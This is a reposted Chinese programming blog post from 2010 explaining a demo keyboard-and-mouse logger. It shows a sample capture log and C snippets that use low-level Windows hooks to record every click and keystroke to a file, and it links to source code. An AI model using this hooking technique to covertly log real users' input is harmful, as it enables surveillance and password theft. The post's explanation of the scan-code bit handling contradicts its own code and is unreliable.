键盘、鼠标偷窥者[转]

原帖地址

运行压缩包中的Debug目录下的RuPengHooker.exe,然后开着程序,你就该干什么干什么,点点程序、输入点东西,然后关闭那个程序,看到了吗?哈哈,你输入的东西我都记下来了!!!呵呵,我是好人,不做坏事。

(119,686)【】(ToolbarWindow32)按下鼠标左键
(Enter)被按下
(H)被按下
(E)被按下
(L)被按下
(L)被按下
(O)被按下
(181,323)【无标题 - 记事本】(Notepad)按下鼠标左键
(191,390)【】(#32768)按下鼠标左键
(276,422)【FolderView】(SysListView32)按下鼠标左键
(276,422)【FolderView】(SysListView32)按下鼠标左键
(598,440)【是(&Y)】(Button)按下鼠标左键
(818,297)【a.txt - 记事本】(Notepad)按下鼠标左键
(818,288)【如鹏网 www.RuPeng.com 大学生计算机学习社区】(#32770)按下鼠标左键



具体原理就是Windows钩子,通过SetWindowsHookEx(WH_MOUSE_LL,MouseHookProc,instance,0);将MouseHookProc函数设定为鼠标钩子的回调,当有鼠标动作发生的时候MouseHookProc函数就会被调用,在MouseHookProc函数里就可以取到鼠标的动作、位置等了:

  1.    LPMOUSEHOOKSTRUCT lpMouseHook = (MOUSEHOOKSTRUCT FAR*)lParam;
  2.    if(WM_LBUTTONDOWN==wParam)
  3.    {
  4. TCHAR lpText[256];
  5. TCHAR lpClassName[256];
  6. HWND hwnd = WindowFromPoint(lpMouseHook->pt);
  7. GetWindowText(hwnd,lpText,sizeof(lpText));
  8. GetClassName(hwnd,lpClassName,sizeof(lpClassName));
  9. fprintf(fp,"(%i,%i)【%s】(%s)按下鼠标左键\n",lpMouseHook->pt.x,lpMouseHook->pt.y,lpText,lpClassName);
  10.    }



这里通过WindowFromPoint得到鼠标当前位置下的控件的句柄,然后通过GetWindowText、GetClassName得到控件的Text和类名,哈哈,我就知道你点了哪个控件了。

键盘钩子也是一样
,记录键盘同样是通过SetWindowsHookEx(WH_KEYBOARD_LL,KeyHookProc,instance,0);设置键盘钩子,用KeyHookProc函数来响应消息:

  1. LPKBDLLHOOKSTRUCT lpKeyHook = (LPKBDLLHOOKSTRUCT)lParam;
  2. if(WM_KEYDOWN==wParam||WM_SYSKEYDOWN==wParam)
  3. {
  4. long lKey = (LOWORD(lpKeyHook->scanCode)<<16);
  5. TCHAR lpKeyName[256];
  6. GetKeyNameText(lKey,lpKeyName,sizeof(lpKeyName));
  7. fprintf(fp,"(%s)被按下\n",lpKeyName);
  8. }



因为lpKeyHook->scanCode的地位代表扫描码,所以需要首先用LOWORD取高位,然后在右移16位,最后通过GetKeyNameText得到按键对应的描述(A、B、C还是F1还是Enter)。

源码下载

posted @ 2010-01-03 22:44  BuildNewApp  阅读(437)  评论(0编辑  收藏  举报